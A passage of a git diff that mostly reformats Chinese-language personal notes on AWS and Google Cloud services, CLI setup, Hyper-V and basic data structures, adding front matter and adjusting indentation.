增强监测在主机级别收集统计数据,CloudWatch 每 60 秒从管理程序级别收集数据。您可以使用增强监测来识别仅发生一秒钟的增加或减少,并查看各个进程使用的 CPU 和内存。 + + 2. 在“增强监测”页面中对进程 ID 进行排序,以查看 CPU 占用最多的进程的 ID。 + + 3. 以主用户身份执行以下查询: - 3. 以主用户身份执行以下查询: - ```sql - select * from performance_schema.threads where THREAD_OS_ID in (ID shown in the Enhanced Monitoring window)\G - -- 例如,如果 Thread_OS_Id 10374 和 1432 使用了最多的内存,则执行以下查询: - select * from performance_schema.threads where THREAD_OS_ID in (10374, 1432)\G - ``` + ```sql + select * from performance_schema.threads where THREAD_OS_ID in (ID shown in the Enhanced Monitoring window)\G + -- 例如,如果 Thread_OS_Id 10374 和 1432 使用了最多的内存,则执行以下查询: + select * from performance_schema.threads where THREAD_OS_ID in (10374, 1432)\G + ``` - 4. 从此查询的输出中获取 PROCESSLIST_ID 列。这为您提供了与 SHOW FULL PROCESSLIST 中的进程 ID 值相匹配的进程 ID。 \ No newline at end of file + 4. 从此查询的输出中获取 PROCESSLIST_ID 列。这为您提供了与 SHOW FULL PROCESSLIST 中的进程 ID 值相匹配的进程 ID。 diff --git a/cloud/aws/AWS.md b/cloud/aws/AWS.md index b30ed3e..c53625e 100644 --- a/cloud/aws/AWS.md +++ b/cloud/aws/AWS.md @@ -1,112 +1,178 @@ +--- +created_date: 2021-03-26 +--- + +[TOC] + # aws + ## 服务与术语 + - 基本服务 - 1. EC2 - - 虚拟服务器 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html - 2. IAM - - Identity and Access Management - - 身份识别和权限认证 https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html - 3. VPC - - Virtual Private Cloud - - 虚拟私有网络 https://docs.aws.amazon.com/zh_cn/vpc/latest/userguide/what-is-amazon-vpc.html + + 1. EC2 + + - 虚拟服务器 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html + + 2. IAM + + - Identity and Access Management + - 身份识别和权限认证 https://docs.aws.amazon.com/IAM/latest/UserGuide/introduction.html + + 3. VPC + + - Virtual Private Cloud + - 虚拟私有网络 https://docs.aws.amazon.com/zh_cn/vpc/latest/userguide/what-is-amazon-vpc.html + 3. VPC Peering Connection - - VPC对等连接 https://docs.aws.amazon.com/zh_cn/vpc/latest/peering/working-with-vpc-peering.html - 4. SES - - 简单邮箱服务 https://docs.aws.amazon.com/ses/latest/DeveloperGuide/Welcome.html - 5. Amazon ES - - Amazon ElasticSearch - - 存储与搜索引擎 https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/what-is-amazon-elasticsearch-service.html + + - VPC对等连接 https://docs.aws.amazon.com/zh_cn/vpc/latest/peering/working-with-vpc-peering.html + + 4. SES + + - 简单邮箱服务 https://docs.aws.amazon.com/ses/latest/DeveloperGuide/Welcome.html + + 5. Amazon ES + + - Amazon ElasticSearch + - 存储与搜索引擎 https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/what-is-amazon-elasticsearch-service.html + 6. ElastiCache for Redis - redis缓存服务 https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/WhatIs.html + redis缓存服务 https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/WhatIs.html 7. EKS - Amazon版的k8s https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html + Amazon版的k8s https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html 8. ECR - - Amazon Elastic Container Registry - - https://docs.aws.amazon.com/AmazonECR/latest/userguide/what-is-ecr.html + + - Amazon Elastic Container Registry + - https://docs.aws.amazon.com/AmazonECR/latest/userguide/what-is-ecr.html + 9. ECS - - Amazon Elastic Container Service - - 一种高度可扩展的快速容器管理服务, 易于在群集上运行、停止和管理容器。 - - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html + + - Amazon Elastic Container Service + - 一种高度可扩展的快速容器管理服务, 易于在群集上运行、停止和管理容器。 + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html + 10. S3 - - 对象存储 https://docs.aws.amazon.com/AmazonS3/latest/gsg/GetStartedWithS3.html + + - 对象存储 https://docs.aws.amazon.com/AmazonS3/latest/gsg/GetStartedWithS3.html + 11. kafka服务 MSK(Kafka): - - Amazon Managed Streaming for Apache Kafka - - Kafka服务 https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html + + - Amazon Managed Streaming for Apache Kafka + - Kafka服务 https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html + 12. CloudFormation - - 基础架构即代码服务 https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html + + - 基础架构即代码服务 https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html + 13. CloudFront - - AWS的CDN服务 https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html + + - AWS的CDN服务 https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html + 14. Lambda - - serverless计算 https://docs.aws.amazon.com/lambda/latest/dg/welcome.html + + - serverless计算 https://docs.aws.amazon.com/lambda/latest/dg/welcome.html + 15. AWS CLI - - AWS Command Line Interface 在本地Shell 中使用命令与 AWS 服务进行交互 - - https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html - - https://docs.aws.amazon.com/cli/latest/reference/ + + - AWS Command Line Interface 在本地Shell 中使用命令与 AWS 服务进行交互 + - https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html + - https://docs.aws.amazon.com/cli/latest/reference/ + 16. Route 53 - - DNS服务 https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/Welcome.html + + - DNS服务 https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/Welcome.html + 18. RDS - - 关系型数据库服务 https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Welcome.html + + - 关系型数据库服务 https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Welcome.html + 19. EMR - - 大数据处理服务 https://docs.aws.amazon.com/emr/index.html + + - 大数据处理服务 https://docs.aws.amazon.com/emr/index.html + 20. AWS Trusted Advisor - - 资源服务的成本、性能、安全优化指导 https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-reservation-models/aws-trusted-advisor.html + + - 资源服务的成本、性能、安全优化指导 https://docs.aws.amazon.com/whitepapers/latest/cost-optimization-reservation-models/aws-trusted-advisor.html + 21. ACM - - AWS Certificate Manager - - 证书管理 https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html + + - AWS Certificate Manager + - 证书管理 https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html + 22. Fargate - - 当创建ECS、EKS时可以选择Fargate作为资源提供方。 - - 提供CPU和内存: https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/userguide/what-is-fargate.html + + - 当创建ECS、EKS时可以选择Fargate作为资源提供方。 + - 提供CPU和内存: https://docs.aws.amazon.com/zh_cn/AmazonECS/latest/userguide/what-is-fargate.html 23. ELB: CLB NLB ALB - - 负载均衡服务 https://aws.amazon.com/elasticloadbalancing/features/?nc1=h_ls + + - 负载均衡服务 https://aws.amazon.com/elasticloadbalancing/features/?nc1=h_ls 24. emr - - 大数据平台 https://docs.aws.amazon.com/emr/index.html + + - 大数据平台 https://docs.aws.amazon.com/emr/index.html + 25. athea - - https://docs.aws.amazon.com/zh_cn/cur/latest/userguide/cur-query-athena.html - - alb日志 https://aws.amazon.com/cn/premiumsupport/knowledge-center/athena-analyze-access-logs/ - - alb日志 https://docs.aws.amazon.com/athena/latest/ug/application-load-balancer-logs.html#create-alb-table - + + - https://docs.aws.amazon.com/zh_cn/cur/latest/userguide/cur-query-athena.html + - alb日志 https://aws.amazon.com/cn/premiumsupport/knowledge-center/athena-analyze-access-logs/ + - alb日志 https://docs.aws.amazon.com/athena/latest/ug/application-load-balancer-logs.html#create-alb-table - Advanced - 1. AWS 架构中心 - - https://aws.amazon.com/cn/architecture/?solutions-all.sort-by=item.additionalFields.sortDate&solutions-all.sort-order=desc&whitepapers-main.sort-by=item.additionalFields.sortDate&whitepapers-main.sort-order=desc&reference-architecture.sort-by=item.additionalFields.sortDate&reference-architecture.sort-order=desc - 2. AWS 架构完善 - - https://aws.amazon.com/cn/well-architected-tool/ + + 1. AWS 架构中心 + + - https://aws.amazon.com/cn/architecture/?solutions-all.sort-by=item.additionalFields.sortDate&solutions-all.sort-order=desc&whitepapers-main.sort-by=item.additionalFields.sortDate&whitepapers-main.sort-order=desc&reference-architecture.sort-by=item.additionalFields.sortDate&reference-architecture.sort-order=desc + + 2. AWS 架构完善 + + - https://aws.amazon.com/cn/well-architected-tool/ + 3. AWS Cost Explorer Service - - 账单和成本管理 https://docs.aws.amazon.com/aws-cost-management/latest/APIReference/Welcome.html + + - 账单和成本管理 https://docs.aws.amazon.com/aws-cost-management/latest/APIReference/Welcome.html - 术语 + 1. CloudWatch: AWS资源服务的监控报警可视化中心 2. AMI: Amazon Machine Image 3. ARN: AWS资源的唯一标识 https://docs.aws.amazon.com/zh_cn/general/latest/gr/aws-arns-and-namespaces.html - - 示范 arn:partition:service:region:account-id:resource-type:resource-id + + - 示范 arn:partition:service:region:account-id:resource-type:resource-id ## Amazon Stack和Cloudformation -- 参考文档 -https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacks.html 堆栈是什么 -https://www.cnblogs.com/pourrire/p/10042308.html Cloudformation是什么 -https://docs.aws.amazon.com/zh_cn/AWSCloudFormation/latest/UserGuide/template-anatomy.html 如何编写Cloudformation模板 + +- 参考文档 + https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacks.html 堆栈是什么 + https://www.cnblogs.com/pourrire/p/10042308.html Cloudformation是什么 + https://docs.aws.amazon.com/zh_cn/AWSCloudFormation/latest/UserGuide/template-anatomy.html 如何编写Cloudformation模板 ### stack + 1. 功能 - 堆栈可以作为单个单元 来管理的一系列 AWS 资源。 + 堆栈可以作为单个单元 来管理的一系列 AWS 资源。 2. 使用stack的方式 - AWS CloudFormation控制台、 API 或 AWS CLI - + AWS CloudFormation控制台、 API 或 AWS CLI ### cloudformation + 1. 概念 - - AWS cloudformation是一项典型的(IAC)基础架构即代码服务。 - - 通过编写 模板 操作 堆栈 对亚马逊云服务的资源进行调用和编排。 + +- AWS cloudformation是一项典型的(IAC)基础架构即代码服务。 +- 通过编写 模板 操作 堆栈 对亚马逊云服务的资源进行调用和编排。 #### CloudFormation template + 1. 概念 - 1. 是一个 JSON 或 YAML 格式的文本文件,该文件描述 AWS 基础设施,用来创建 堆栈。 - 2. 包含9个主要部分。Resources 部分是唯一的必需部分。 -2. 模板中的某些部分可以任何顺序显示。但是,在构建模板时,使用以下列表中显示的逻辑顺序可能会很有用,因为一个部分中的值可能会引用上一个部分中的值。 +2. 是一个 JSON 或 YAML 格式的文本文件,该文件描述 AWS 基础设施,用来创建 堆栈。 + +3. 包含9个主要部分。Resources 部分是唯一的必需部分。 + +4. 模板中的某些部分可以任何顺序显示。但是,在构建模板时,使用以下列表中显示的逻辑顺序可能会很有用,因为一个部分中的值可能会引用上一个部分中的值。 + ```conf { "AWSTemplateFormatVersion" : "version date", @@ -144,36 +210,43 @@ https://docs.aws.amazon.com/zh_cn/AWSCloudFormation/latest/UserGuide/template-an ``` 3. 函数 json格式 -Fn::GetAtt 获取资源的附加属性 -Fn::Join 构建值 -Ref 获取参数值 + Fn::GetAtt 获取资源的附加属性 + Fn::Join 构建值 + Ref 获取参数值 ## Amazon ELB + - 参考 -https://aws.amazon.com/cn/blogs/china/aws-alb-route-distribute/ 配置ALB与NLB - -1. ALB -- Application Load Balancer -7层负载均衡,可以通过url转发到不同的目标群组 -ALB负载均衡器 https://docs.aws.amazon.com/eks/latest/userguide/alb-ingress.html -ALB入口控制器 https://aws.amazon.com/cn/premiumsupport/knowledge-center/eks-alb-ingress-controller-setup/ + https://aws.amazon.com/cn/blogs/china/aws-alb-route-distribute/ 配置ALB与NLB + +1. ALB -- Application Load Balancer + 7层负载均衡,可以通过url转发到不同的目标群组 + ALB负载均衡器 https://docs.aws.amazon.com/eks/latest/userguide/alb-ingress.html + ALB入口控制器 https://aws.amazon.com/cn/premiumsupport/knowledge-center/eks-alb-ingress-controller-setup/ -2. NLB -- Network Load Balancer -4层负载均衡 +2. NLB -- Network Load Balancer + 4层负载均衡 -3. CLB -- Classic Load Balancer -将连接请求分发到不同的EC2上 +3. CLB -- Classic Load Balancer + 将连接请求分发到不同的EC2上 ## Amazon CLI -- https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html 安装 + +- https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html 安装 - https://docs.aws.amazon.com/zh_cn/cli/latest/userguide/cli-configure-files.html - https://aws.amazon.com/cn/blogs/compute/authenticating-amazon-ecr-repositories-for-docker-cli-with-credential-helper/ + ### 安装 + 1. 安装方式一 + ```bash apt install awscli ``` + 2. 安装方式二 -linux + linux + ```bash curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip @@ -181,42 +254,57 @@ sudo ./aws/install ``` mac + ```bash curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o "AWSCLIV2.pkg" sudo installer -pkg AWSCLIV2.pkg -target / ``` + ### 使用 + 1. 在配置文件内配置访问凭证 -~/.aws/config + ~/.aws/config + ```conf [default] output = json region = us-east-1 ``` + ~/.aws/credentials + ```conf [default] aws_access_key_id = XXX aws_secret_access_key = XXX ``` + 2. 在命令行配置访问凭证 + ```bash aws configure ``` + 3. 列出所有凭证 + ```bash aws configure list ``` 4. 使用指定名字的凭证 - - --profile - ```bash - aws s3 ls --profile default - aws configure set region ap-east-1 --profile default - ``` +- --profile + +```bash +aws s3 ls --profile default + +aws configure set region ap-east-1 --profile default +``` + ### CLI操作ECR + 1. 创建ECR + ```bash aws ecr create-repository \ --repository-name ECR名称 \ @@ -225,6 +313,7 @@ aws ecr create-repository \ ``` 2. 推镜像到ECR + ```bash login=`aws ecr get-login --no-include-email --region us-east-1` $login @@ -235,7 +324,9 @@ apt-get install gnupg2 pass aws ecr list-images --repository-name 仓库名 ``` + 4. 其它 + ```bash # 执行ec2指令 # 查看实例状态 @@ -253,63 +344,79 @@ aws cloudformation create-stack --stack-name gary --region us-east-1 --template # 查看在CREATE_IN_PROGRESS,ROLLBACK_IN_PROGRESS,DELETE_IN_PROGRESS,UPDATE_IN_PROGRESS状态的stack cfn-list-stacks --region us-east-1 --stack-status CREATE_IN_PROGRESS,ROLLBACK_IN_PROGRESS,DELETE_IN_PROGRESS,UPDATE_IN_PROGRESS ``` + ## Amazon VPC间的通信 + 1. Create Peering Connection -vpc请求方,vpc接收方 + vpc请求方,vpc接收方 2. Route Tables -- Add Route -vpc请求方, vpc接收方,vpc接收方ip地址 + vpc请求方, vpc接收方,vpc接收方ip地址 + +## Amazon ES -## Amazon ES 1. 仅提供接口给客户,客户通过接口对数据进行存储与查询。 2. Open Distro for Elasticsearch:AWS Elasticsearch 发行版。 3. Open Distro for Elasticsearch: 是 AWS 2019年宣布开源的 Elasticsearch 发行版。Open Distro for Elasticsearch 是完全社区驱动、100%开源、企业级的增强版 Elasticsearch,包含安全、告警、SQL、深度性能分析等在内的诸多核心功能,也包含了Kibana。 ## Amazon ElastiCache for Redis + - https://docs.aws.amazon.com/zh_cn/AmazonElastiCache/latest/red-ug/WhatIs.Managing.html -1. 操作ElastiCache for Redis的方式:AWS 管理控制台, AWS CLI, AWS SDK, ElastiCache API + +1. 操作ElastiCache for Redis的方式:AWS 管理控制台, AWS CLI, AWS SDK, ElastiCache API ## Amazon ECS + 1. 创建集群 - 1. 仅限联网,AWS 提供 Fargate支持。 - 2. EC2 Linux + 联网,需要创建EC2 -2. 定义任务 - - 可以基于 EC2 或者 FARGATE 运行 +2. 仅限联网,AWS 提供 Fargate支持。 +3. EC2 Linux + 联网,需要创建EC2 +4. 定义任务 + +- 可以基于 EC2 或者 FARGATE 运行 + ## Amazon EKS + 1. eks集群 - Amazon EKS 使用 Amazon VPC 网络策略来将控制层面组件之间的流量限制到一个集群内。除非通过 Kubernetes RBAC 策略授权,否则,集群的控制层面组件无法查看或接收来自其他集群或其他 AWS 账户的通信。 + Amazon EKS 使用 Amazon VPC 网络策略来将控制层面组件之间的流量限制到一个集群内。除非通过 Kubernetes RBAC 策略授权,否则,集群的控制层面组件无法查看或接收来自其他集群或其他 AWS 账户的通信。 2. AWS资源 - arn:aws:eks:<区域>:<随机数字串>:cluster/<集群名字> + arn:aws:eks:\<区域>:\<随机数字串>:cluster/\<集群名字> 3. eksctl - 命令行工具,用于处理EKS群集,可自动执行许多单独的任务。 + 命令行工具,用于处理EKS群集,可自动执行许多单独的任务。 4. eks版本和k8s版本一致 - https://docs.aws.amazon.com/zh_cn/eks/latest/userguide/kubernetes-versions.html + https://docs.aws.amazon.com/zh_cn/eks/latest/userguide/kubernetes-versions.html ### 托管节点组 + ## k8s-on-aws + 参考文档 https://kubernetes-on-aws.readthedocs.io/en/latest/user-guide/tls-termination.html -## Amazon CloudFront +## Amazon CloudFront + - 如果在regional edge cache location找不到指定内容,CloudFront则去请求 源 获取内容并且将内容缓存在regional edge cache location。 + 1. 源类型,可以同时配置多个源 - 1. Amazon S3 存储桶 - 2. Amazon ELB - 3. MediaPackage 源 - 4. MediaStore 容器 -2. 行为 - 1. 定义用户请求到CloudFront后,CloudFront将流量打到哪个源上 - 2. 第一个源被设置为默认的行为 - +2. Amazon S3 存储桶 +3. Amazon ELB +4. MediaPackage 源 +5. MediaStore 容器 +6. 行为 +7. 定义用户请求到CloudFront后,CloudFront将流量打到哪个源上 +8. 第一个源被设置为默认的行为 + ## IAM + - 限制IP来源 https://aws.amazon.com/cn/premiumsupport/knowledge-center/iam-restrict-calls-ip-addresses/ ## RDS -- https://aws.amazon.com/cn/premiumsupport/knowledge-center/aurora-mysql-synch-wait-events/#:~:text=synch%2Fmutex%2Fsql%2FLOCK_open,the%20size%20of%20these%20caches + +- https://aws.amazon.com/cn/premiumsupport/knowledge-center/aurora-mysql-synch-wait-events/#:~:text=synch%2Fmutex%2Fsql%2FLOCK_open,the%20size%20of%20these%20caches - 最佳实践 https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_BestPractices.html 2. binlog + ```sql -- 查看binlog配置 call mysql.rds_show_configuration; call mysql.rds_set_configuration('binlog retention hours', 24); -``` \ No newline at end of file +``` diff --git a/cloud/gcp/GoogleCloud.md b/cloud/gcp/GoogleCloud.md index 59bc3b9..9f65e6a 100644 --- a/cloud/gcp/GoogleCloud.md +++ b/cloud/gcp/GoogleCloud.md @@ -1,20 +1,30 @@ - +--- +created_date: 2021-03-26 +--- +[TOC] - 创建的任何资源名字往往都是不可再次修改的 + ## 术语 + Google Cloud Platfomr(GCP) Google Kubernetes Engine (GKE) https://cloud.google.com/kubernetes-engine/docs Google Compute Engine (GCE) https://cloud.google.com/compute -网络端点组 network endpoint group (NEG) https://cloud.google.com/load-balancing/docs/negs -外部负载均衡 External HTTP(S) Load Balancing https://cloud.google.com/load-balancing/docs/https -Cloud CDN https://cloud.google.com/cdn/docs/caching?_ga=2.196277356.-1333077488.1603936828 +网络端点组 network endpoint group (NEG) https://cloud.google.com/load-balancing/docs/negs +外部负载均衡 External HTTP(S) Load Balancing https://cloud.google.com/load-balancing/docs/https +Cloud CDN https://cloud.google.com/cdn/docs/caching?\_ga=2.196277356.-1333077488.1603936828 + ## gcloud CLI + - 参考文档 - https://cloud.google.com/sdk/gcloud?hl=zh-cn -- 需要安装Google Cloud SDK,然后才能使用gcloud CLI + https://cloud.google.com/sdk/gcloud?hl=zh-cn +- 需要安装Google Cloud SDK,然后才能使用gcloud CLI + ### 通过gcloud创建 转发规则 + 1. 至多配置 100 条专用转发规则 来指向每个网络的目标实例 + ```bash # 获取预留的 IP 地址 gcloud compute addresses list @@ -36,41 +46,50 @@ gcloud compute forwarding-rules list # --quiet = -q 删除时静默 ``` -## 网络服务:CDN 和 LB 和 后端服务 +## 网络服务:CDN 和 LB 和 后端服务 + 1. CDN 和 LB 是一对一关系的。 2. LB 将流量分发到 后端服务 或者 后端存储分区上 - 1. 负载平衡器的后端服务 - - 实例组 - (类似于k8s的Deployment,用于管理多个实例) - - 网络端点组 - 1. 地区级网络端点组(GCE和GKE后端) - 2. 互联网网络端点组(自定义来源)!! - 3. 无服务网络端点组(App Engine、Cloud RUN、Cloud Functions) - 2. 负载平衡器的后端存储分区 - - Cloud Storage - -- Computer Engine:网络端点组 network endpoint group (NEG) - 1. 互联网端点组(地区级) -- 只能连接GoogleCloud内部的服务 - 2. 互联网端点组(互联网级)-- 可以连接互联网上的服务 !! + 1. 负载平衡器的后端服务 + - 实例组 - (类似于k8s的Deployment,用于管理多个实例) + - 网络端点组 + 1. 地区级网络端点组(GCE和GKE后端) + 2. 互联网网络端点组(自定义来源)!! + 3. 无服务网络端点组(App Engine、Cloud RUN、Cloud Functions) + 2. 负载平衡器的后端存储分区 + - Cloud Storage + +- Computer Engine:网络端点组 network endpoint group (NEG) + 1. 互联网端点组(地区级) -- 只能连接GoogleCloud内部的服务 + 2. 互联网端点组(互联网级)-- 可以连接互联网上的服务 !! ### CDN 缓存策略 -- https://cloud.google.com/cdn/docs/caching?_ga=2.196277356.-1333077488.1603936828 + +- https://cloud.google.com/cdn/docs/caching?\_ga=2.196277356.-1333077488.1603936828 + 1. CACHE_ALL_STATIC,存静态内容。 2. USE_ORIGIN_HEADERS,使用基于 Cache-Control 标头的源站设置。源站必须设置标头才会缓存。如果想绝不缓存,最好再在nginx下进行如下配置。 + ```conf http { add_header Cache-Control 'no-store'; } ``` + 3. FORCE_CACHE_ALL,强制缓存所有内容。缓存由源站传送的所有内容,忽略任何“private”、“no-store”或“no-cache”指令。 - 已经被缓存的键依然可能被旧的规则影响,解决措施为清空所有的CDN缓存键。 + - 缓存键配置:不能通过配置缓存键元素来决定是否缓存相关内容,只能通过其来决定是否使用CDN里的缓存内容。 + - CDN缓存成功的标志, 查看Response, Age返回头将会随时间而增长 - ```conf - Age: 10 - ``` + + ```conf + Age: 10 + ``` - 答复 - 1. 是否可以绝不缓存? 可以。 CDN设置为 USE_ORIGIN_HEADERS 缓存策略,添加 负载均衡器的返回标头 Cache-Control no-store。 - 2. header /cookie是否可以传到后端去? 可以。 - 3. URL参数是否可以作为缓存键? 可以, 通过设置CDN的缓存键。 + + 1. 是否可以绝不缓存? 可以。 CDN设置为 USE_ORIGIN_HEADERS 缓存策略,添加 负载均衡器的返回标头 Cache-Control no-store。 + 2. header /cookie是否可以传到后端去? 可以。 + 3. URL参数是否可以作为缓存键? 可以, 通过设置CDN的缓存键。 diff --git a/cloud/gcp/adc.md b/cloud/gcp/adc.md index 99a7736..c9d5bdb 100644 --- a/cloud/gcp/adc.md +++ b/cloud/gcp/adc.md @@ -1,21 +1,27 @@ +--- +created_date: 2021-04-08 +--- -- Google Cloud Application Default Credentials (ADC) +[TOC] + +- Google Cloud Application Default Credentials (ADC) ### 以服务帐号身份进行身份验证 + - 参考 - - https://www.jhanley.com/google-cloud-application-default-credentials/ - - https://cloud.google.com/docs/authentication/production#auth-cloud-implicit-python + - https://www.jhanley.com/google-cloud-application-default-credentials/ + - https://cloud.google.com/docs/authentication/production#auth-cloud-implicit-python 1. 如果设置了环境变量 GOOGLE_APPLICATION_CREDENTIALS,则 ADC 会使用该变量指向的服务帐号文件。 -2. 如果未设置环境变量 GOOGLE_APPLICATION_CREDENTIALS,则 ADC 使用关联到运行代码的资源的服务帐号。 +2. 如果未设置环境变量 GOOGLE_APPLICATION_CREDENTIALS,则 ADC 使用关联到运行代码的资源的服务帐号。 3. 如果未设置环境变量 GOOGLE_APPLICATION_CREDENTIALS,且运行代码的资源未关联任何服务帐号,则 ADC 使用 Compute Engine、Google Kubernetes Engine、App Engine、Cloud Run 和 Cloud Functions 提供的默认服务帐号。 4. 默认服务账号文件 $HOME/.config/gcloud/application_default_credentials.json - ### 权限操作 + ```bash gcloud iam service-accounts create ${service_account} @@ -26,4 +32,4 @@ gcloud projects add-iam-policy-binding ${project_id} --member="${service_account gcloud iam service-accounts get-iam-policy ${service_account_email} gcloud iam service-accounts keys create ${file_name}.json --iam-account=${service_account_email} -``` \ No newline at end of file +``` diff --git a/cloud/hyperV.md b/cloud/hyperV.md index 86dfb79..6417b23 100644 --- a/cloud/hyperV.md +++ b/cloud/hyperV.md @@ -1,7 +1,15 @@ +--- +created_date: 2023-11-14 +--- + +[TOC] + ## 镜像 + - iso属于光盘镜像文件,vhd属于虚拟硬盘文件(微软出品) ## multipass + - https://multipass.run/install ```bash @@ -37,6 +45,7 @@ multipass help ``` ## VMware vSphere PowerCLI + - - https://learn.microsoft.com/zh-cn/virtualization/hyper-v-on-windows/quick-start/try-hyper-v-powershell ```bash @@ -70,5 +79,5 @@ New-VM -Name vm001 -MemoryStartupBytes 536870912 -BootDevice VHD -VHDPath "E: New-VM -Name vm_1 -MemoryStartupBytes 1GB -VMISOPath "D:\APP\ISO\cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso" ``` -- 默认虚拟机目录 C:\ProgramData\Microsoft\Windows\Hyper-V -- 默认虚拟硬盘目录 C:\ProgramData\Microsoft\Windows\Virtual Hard Disks \ No newline at end of file +- 默认虚拟机目录 C:\\ProgramData\\Microsoft\\Windows\\Hyper-V +- 默认虚拟硬盘目录 C:\\ProgramData\\Microsoft\\Windows\\Virtual Hard Disks diff --git a/cloud/vs.md b/cloud/vs.md index b20e521..f2fd30e 100644 --- a/cloud/vs.md +++ b/cloud/vs.md @@ -1,16 +1,27 @@ +--- +created_date: 2020-11-30 +--- + +[TOC] + ## 在一台服务器上,通过多个不同公网IP访问互联网的实现方式 + ### aws方式 + https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI + 1. 不同的实例类型 可以绑定的网卡数量不一样,每张网卡可以绑定的私有ip地址(辅助ip)也不一样。 2. t2.medium 类型的实例:最多可以绑定3张网卡,每张网卡最多有6个私有ip地址。 3. 一个外部IP可以关联一个私有IP。 ### google方式 + https://cloud.google.com/vpc/docs/create-use-multiple-interfaces 多接口 https://cloud.google.com/migrate/compute-engine/docs/4.5/how-to/networking/using-multiple-ip-addresses?hl=zh-cn 别名IP https://cloud.google.com/compute/docs/protocol-forwarding 协议转发 + 1. 只有在创建实例时才可以创建网络接口 2. 在单个实例中配置的每个网络接口都必须连接到不同的 VPC 网络 3. 可为每个虚拟机实例配备 1-8 个网络接口。每个实例可以配置的网络接口 取决于 有多少个VPC网络 和 实例本身的CPU数。每个接口对应一个外部 IP 地址. -5. 一个接口可以有多个别名IP(私有IP)-- (服务器内执行指令ip a,别名IP不会显示)。 -6. 可以通过申请多个外部IP地址,然后通过协议转发到某个实例上。 在实例上可以监听被转发过来的IP:PORT。 \ No newline at end of file +4. 一个接口可以有多个别名IP(私有IP)-- (服务器内执行指令ip a,别名IP不会显示)。 +5. 可以通过申请多个外部IP地址,然后通过协议转发到某个实例上。 在实例上可以监听被转发过来的IP:PORT。 diff --git a/computer/data-structure/algorithm.md b/computer/data-structure/algorithm.md index e69de29..375b1d3 100644 --- a/computer/data-structure/algorithm.md +++ b/computer/data-structure/algorithm.md @@ -0,0 +1,5 @@ +--- +created_date: 2020-11-30 +--- + +[TOC] diff --git a/computer/data-structure/structure.md b/computer/data-structure/structure.md index 3f8bbe0..4ebab42 100644 --- a/computer/data-structure/structure.md +++ b/computer/data-structure/structure.md @@ -1,97 +1,131 @@ +--- +created_date: 2020-11-16 +--- + [TOC] + ## 数据结构概述 + 1. 存储在计算机中的数据之间存在一定的联系,这种联系体现在数据之间所具备的逻辑关系,同时对应着数据在计算机中的存储结构。 2. 存储结构/物理结构 - - 是逻辑结构在计算机中的具体表示(又称映像),其有顺序存储结构和链式存储结构两种类型。 + + - 是逻辑结构在计算机中的具体表示(又称映像),其有顺序存储结构和链式存储结构两种类型。 3. 逻辑结构 - - 描述了数据元素间的逻辑关系,大致分为:线性结构和非线性结构。 + + - 描述了数据元素间的逻辑关系,大致分为:线性结构和非线性结构。 ## 线性的逻辑结构 + ### 一 数组 + 1. 定义 - - 一个有限的、类型相同的数据的集合,在内存中是一段连续的内存区域。 + + - 一个有限的、类型相同的数据的集合,在内存中是一段连续的内存区域。 2. 数据的访问 O(1) - - array[n] = array[0] + 每个元素大小*n -3. 优点: - 1. 按照索引查询元素, 速度快 - 2. 按照索引遍历数组方便 -4. 缺点: - 1. 数组的大小固定后就无法扩容了 - 2. 数组只能存储一种类型的数据 - 3. 添加,删除的操作慢,因为要移动后面的所有元素。(采取根据地址删除,根据地址添加元素,解决添加删除慢的问题) + - array[n] = array[0] + 每个元素大小\*n + +3. 优点: -5. 适用场景: - 1. 频繁查询,不需要扩容,很少插入和删除的情况。 + 1. 按照索引查询元素, 速度快 + 2. 按照索引遍历数组方便 + +4. 缺点: + + 1. 数组的大小固定后就无法扩容了 + 2. 数组只能存储一种类型的数据 + 3. 添加,删除的操作慢,因为要移动后面的所有元素。(采取根据地址删除,根据地址添加元素,解决添加删除慢的问题) + +5. 适用场景: + + 1. 频繁查询,不需要扩容,很少插入和删除的情况。 ### 二 链表 + 1. 定义 - - 链表是物理存储单元上非连续的、非顺序的存储结构,数据元素的逻辑顺序是通过链表的指针地址实现。 - - 每个节点包含两个区域,一个是存储元素的数据域 (内存空间),另一个是指向下一个元素地址的指针域。 + + - 链表是物理存储单元上非连续的、非顺序的存储结构,数据元素的逻辑顺序是通过链表的指针地址实现。 + - 每个节点包含两个区域,一个是存储元素的数据域 (内存空间),另一个是指向下一个元素地址的指针域。 2. 数据访问 